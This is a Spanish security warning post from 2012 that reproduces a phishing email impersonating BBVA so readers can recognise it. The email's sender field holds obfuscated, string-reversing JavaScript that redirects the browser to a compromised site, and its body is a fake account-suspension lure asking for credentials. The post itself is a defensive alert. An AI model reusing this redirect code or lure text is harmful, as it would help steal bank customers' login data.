Nuevo phishing del BBVA:

Se están recibiendo mails con estas caracteristicas:

mail malicioso:
_______________
Asunto:  Mensaje Muy Importante de BBVA
Fecha:  Fri, 17 Feb 2012 04:01:04 -0500
De:  $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:office@bbva.es”>office@bbva.es>
Para:  undisclosed-recipients:;

BBVA
Estimado poseedor de la cuenta de BBVA,

Hemos determinado recientemente que las computadoras diferentes han apuntado en su cuenta de BBVA, y multiples fracasos de la contrasena fueron presentes antes de las entradas a sistemas.
Nosotros ahora le necesitamos confirmar su informacion de cuenta. Si esto no es completado en las siguientes 24 horas, seremos forzados a suspender su cuenta indefinidamente, como puede haber sido utilizado para propositos fraudulentos.
Gracias para su cooperacion en esta manera y nosotros nos disculpamos para cualquier inconveniente. Para confirmar sus registros de cuenta de BBVA, por favor clic en la conexion siguiente o lo entra en su examinador de Internet:

to/particulares/index.jsp <—- escopnde acceso a un site de HONG KONG
La NOTA: Si usted recibio este mensaje en usted carpeta de ENVIA SPAM/BULTO, eso es a causa de las restricciones aplicadas por su proveedor de servicios de Internet.
Gracias para su paciencia en este asunto. Servicio de atencion al cliente de BBVA. Por favor no conteste a este correo electronico como esto es solo una notificacion. El correo mandy a esta direccion no puede ser contestado.

(c) Banco Bilbao Vizcaya Argentaria S.A. – 2012 Espańa. Todos los derechos reservados.
________________

fin del mail malicioso

si se pulsa en el link (que conduce realmente a un site de Hong Kong), ofrece este phishing (muy logrado) que simula pantalla del banco, y pide entrada de datos:

Como siempre, no pulsar en linka ni ficheros ni imagenes de mails no solicitados… y por supuesto si piden datos, no darlos !!!

saludos

ms, 17-2-2012